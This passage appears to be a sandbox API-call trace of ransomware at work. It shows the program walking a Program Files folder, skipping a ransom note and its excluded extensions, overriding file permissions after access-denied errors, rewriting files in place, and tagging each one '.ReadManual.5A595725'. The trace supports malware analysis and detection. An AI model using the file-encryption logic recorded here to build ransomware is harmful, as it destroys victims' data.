out: lpFileSize=0x434fd58*=3580) returned 1 [0252.108] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdfc, lpName=0x0) returned 0x1a0 [0252.108] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0252.108] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.108] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.109] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.110] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdfc) returned 0x2f0000 [0252.110] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.110] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37277857567) returned 1 [0252.110] CloseHandle (hObject=0x1a0) returned 1 [0252.110] SetSecurityInfo () returned 0x5 [0252.110] SetSecurityInfo () returned 0x5 [0252.110] LocalFree (hMem=0x674d38) returned 0x0 [0252.110] CloseHandle (hObject=0x184) returned 1 [0252.111] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0252.111] lstrcpyW (in: lpString1=0x6ab90e, lpString2="btn-previous-static.png" | out: lpString1="btn-previous-static.png") returned="btn-previous-static.png" [0252.111] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="RecoveryManual.html") returned -1 [0252.111] StrStrIW (lpFirst="btn-previous-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.111] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.111] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.111] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.111] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.111] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.111] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.111] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.111] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.111] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.111] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.111] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.111] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.111] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.112] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.112] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" [0252.112] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png.ReadManual.5A595725" [0252.112] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png.ReadManual.5A595725") returned 100 [0252.112] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37278040787) returned 1 [0252.112] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png")) returned 0x20 [0252.112] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.112] GetLastError () returned 0x5 [0252.112] GetNamedSecurityInfoW () returned 0x0 [0252.112] SetNamedSecurityInfoW () returned 0x0 [0252.112] SetNamedSecurityInfoW () returned 0x0 [0252.113] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.113] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3595) returned 1 [0252.113] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe0b, lpName=0x0) returned 0x1a0 [0252.113] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0252.114] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.114] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.115] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.115] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe0b) returned 0x2f0000 [0252.115] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.116] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37278430794) returned 1 [0252.116] CloseHandle (hObject=0x1a0) returned 1 [0252.116] SetSecurityInfo () returned 0x5 [0252.116] SetSecurityInfo () returned 0x5 [0252.116] LocalFree (hMem=0x674d38) returned 0x0 [0252.116] CloseHandle (hObject=0x184) returned 1 [0252.117] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0252.117] lstrcpyW (in: lpString1=0x6ab90e, lpString2="button-highlight.png" | out: lpString1="button-highlight.png") returned="button-highlight.png" [0252.117] lstrcmpiW (lpString1="button-highlight.png", lpString2="RecoveryManual.html") returned -1 [0252.117] StrStrIW (lpFirst="button-highlight.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.117] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.117] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.117] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.117] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.117] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.117] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.117] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.117] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.117] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.117] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.117] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.117] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.117] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.117] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.117] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" [0252.117] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png.ReadManual.5A595725" [0252.118] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png.ReadManual.5A595725") returned 97 [0252.118] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37278634188) returned 1 [0252.118] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png")) returned 0x20 [0252.118] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.118] GetLastError () returned 0x5 [0252.118] GetNamedSecurityInfoW () returned 0x0 [0252.118] SetNamedSecurityInfoW () returned 0x0 [0252.118] SetNamedSecurityInfoW () returned 0x0 [0252.119] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.119] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=1885) returned 1 [0252.119] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x75d, lpName=0x0) returned 0x1a0 [0252.119] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0252.120] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.120] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.121] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.121] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x75d) returned 0x2f0000 [0252.122] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.122] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37279044210) returned 1 [0252.122] CloseHandle (hObject=0x1a0) returned 1 [0252.122] SetSecurityInfo () returned 0x5 [0252.122] SetSecurityInfo () returned 0x5 [0252.122] LocalFree (hMem=0x674d38) returned 0x0 [0252.122] CloseHandle (hObject=0x184) returned 1 [0252.122] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0252.122] lstrcpyW (in: lpString1=0x6ab90e, lpString2="chapters-static.png" | out: lpString1="chapters-static.png") returned="chapters-static.png" [0252.122] lstrcmpiW (lpString1="chapters-static.png", lpString2="RecoveryManual.html") returned -1 [0252.122] StrStrIW (lpFirst="chapters-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.122] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.122] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.122] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.122] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.122] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.122] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.122] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.122] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.122] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.122] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.122] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.122] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.122] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.122] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.122] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" [0252.123] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png.ReadManual.5A595725" [0252.123] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png.ReadManual.5A595725") returned 96 [0252.123] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37279136266) returned 1 [0252.123] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png")) returned 0x20 [0252.123] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.123] GetLastError () returned 0x5 [0252.124] GetNamedSecurityInfoW () returned 0x0 [0252.124] SetNamedSecurityInfoW () returned 0x0 [0252.124] SetNamedSecurityInfoW () returned 0x0 [0252.125] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.125] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=1375) returned 1 [0252.125] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x55f, lpName=0x0) returned 0x1a0 [0252.125] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0252.125] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.125] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.127] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.127] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x55f) returned 0x2f0000 [0252.127] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.127] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37279583907) returned 1 [0252.127] CloseHandle (hObject=0x1a0) returned 1 [0252.127] SetSecurityInfo () returned 0x5 [0252.127] SetSecurityInfo () returned 0x5 [0252.127] LocalFree (hMem=0x674d38) returned 0x0 [0252.127] CloseHandle (hObject=0x184) returned 1 [0252.127] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0252.127] lstrcpyW (in: lpString1=0x6ab90e, lpString2="content-background.png" | out: lpString1="content-background.png") returned="content-background.png" [0252.127] lstrcmpiW (lpString1="content-background.png", lpString2="RecoveryManual.html") returned -1 [0252.128] StrStrIW (lpFirst="content-background.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.128] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.128] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.128] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.128] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.128] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.128] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.128] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.128] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.128] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.128] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.128] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.128] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.128] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.128] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.128] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" [0252.128] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png.ReadManual.5A595725" [0252.128] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png.ReadManual.5A595725") returned 99 [0252.128] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37279677609) returned 1 [0252.128] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png")) returned 0x20 [0252.128] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.128] GetLastError () returned 0x5 [0252.128] GetNamedSecurityInfoW () returned 0x0 [0252.129] SetNamedSecurityInfoW () returned 0x0 [0252.131] SetNamedSecurityInfoW () returned 0x0 [0252.131] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.131] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=581394) returned 1 [0252.132] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8df12, lpName=0x0) returned 0x1a0 [0252.132] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0252.132] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.132] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.134] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.134] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8df12) returned 0x2690000 [0252.151] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0252.152] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37282045282) returned 1 [0252.152] CloseHandle (hObject=0x1a0) returned 1 [0252.152] SetSecurityInfo () returned 0x5 [0252.152] SetSecurityInfo () returned 0x5 [0252.152] LocalFree (hMem=0x674d38) returned 0x0 [0252.152] CloseHandle (hObject=0x184) returned 1 [0252.152] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0252.152] lstrcpyW (in: lpString1=0x6ab90e, lpString2="content-foreground.png" | out: lpString1="content-foreground.png") returned="content-foreground.png" [0252.152] lstrcmpiW (lpString1="content-foreground.png", lpString2="RecoveryManual.html") returned -1 [0252.152] StrStrIW (lpFirst="content-foreground.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.152] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.152] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.152] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.152] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.152] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.152] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.152] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.152] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.152] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.152] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.152] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.152] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.152] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.153] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.153] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" [0252.153] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png.ReadManual.5A595725" [0252.153] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD 